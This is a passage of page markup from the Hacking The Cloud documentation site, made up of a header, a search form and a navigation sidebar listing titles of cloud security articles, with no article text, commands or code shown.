0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13 checked> <div class="md-nav__link md-nav__container"> <a href=../ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#1-can-be-found-from-black-box-perspective class=md-nav__link> <span class=md-ellipsis> 1. Can be found from black-box perspective </span> </a> <nav class=md-nav aria-label="1. Can be found from black-box perspective"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#s3-buckets class=md-nav__link> <span class=md-ellipsis> S3 Buckets </span> </a> <nav class=md-nav aria-label="S3 Buckets"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#public-list-read-and-write class=md-nav__link> <span class=md-ellipsis> Public List, Read and Write </span> </a> </li> <li class=md-nav__item> <a href=#authenticated-list-and-write class=md-nav__link> <span class=md-ellipsis> Authenticated List and Write </span> </a> </li> <li class=md-nav__item> <a href=#s3-static-website-list-unauthenticated class=md-nav__link> <span class=md-ellipsis> S3 Static Website List Unauthenticated </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#amis class=md-nav__link> <span class=md-ellipsis> AMIs </span> </a> </li> <li class=md-nav__item> <a href=#ebs-snapshots class=md-nav__link> <span class=md-ellipsis> EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=#rds-snapshots class=md-nav__link> <span class=md-ellipsis> RDS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=#iam-roles class=md-nav__link> <span class=md-ellipsis> IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=#ssm-documents class=md-nav__link> <span class=md-ellipsis> SSM Documents </span> </a> </li> <li class=md-nav__item> <a href=#cloudfront class=md-nav__link> <span class=md-ellipsis> CloudFront </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#2-cant-be-found-from-a-black-box-perspective class=md-nav__link> <span class=md-ellipsis> 2. Can't be found from a black-box perspective </span> </a> <nav class=md-nav aria-label="2. Can't be found from a black-box perspective"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#sns-topics class=md-nav__link> <span class=md-ellipsis> SNS Topics </span> </a> </li> <li class=md-nav__item> <a href=#sqs-queues class=md-nav__link> <span class=md-ellipsis> SQS Queues </span> </a> </li> <li class=md-nav__item> <a href=#private-api-gateways class=md-nav__link> <span class=md-ellipsis> Private API Gateways </span> </a> </li> <li class=md-nav__item> <a href=#lambda-functions class=md-nav__link> <span class=md-ellipsis> Lambda Functions </span> </a> </li> <li class=md-nav__item> <a href=#ecr-repositories class=md-nav__link> <span class=md-ellipsis> ECR Repositories </span> </a> <nav class=md-nav aria-label="ECR Repositories"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#private-repository-access class=md-nav__link> <span class=md-ellipsis> Private Repository Access </span> </a> </li> <li class=md-nav__item> <a href=#public-repository-access class=md-nav__link> <span class=md-ellipsis> Public Repository Access </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#call-for-contributions class=md-nav__link> <span class=md-ellipsis> Call for contributions </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> 